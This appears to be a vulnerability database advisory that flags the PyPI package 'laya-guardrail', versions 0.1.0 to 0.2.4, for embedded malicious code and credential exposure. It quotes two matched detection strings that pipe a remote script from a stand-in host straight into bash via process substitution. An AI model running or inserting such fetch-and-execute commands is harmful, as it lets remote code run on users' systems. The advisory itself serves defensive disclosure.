VDB
GCVE-110-PYPI-2026-019804
GCVE-110-PYPI-2026-019804
Advisory Published
[P-SOURCE-REMOTE] Sourcing remote script via process substitution — matched: "bash <(curl -s https://x.example)", ". <(curl -s https://x.example)",
Weaknesses (CWE)
CWE-506Embedded Malicious CodeCWE-522Insufficiently Protected CredentialsCWE-200Exposure of Sensitive Information to an Unauthorized Actor
Affected Products
| Vendor | Product | Versions | Platforms |
|---|---|---|---|
| pypi | laya-guardrail | 0.1.0 (affected), 0.2.0 (affected), 0.2.1 (affected), 0.2.2 (affected), 0.2.3 (affected), 0.2.4 (affected) | — |
Browse GCVE Records
3,090 records in the GCVE database · Updated October 12, 2026
No matching records found.
Explore Further
Investigate this vulnerability in the interactive console or download the raw GCVE record.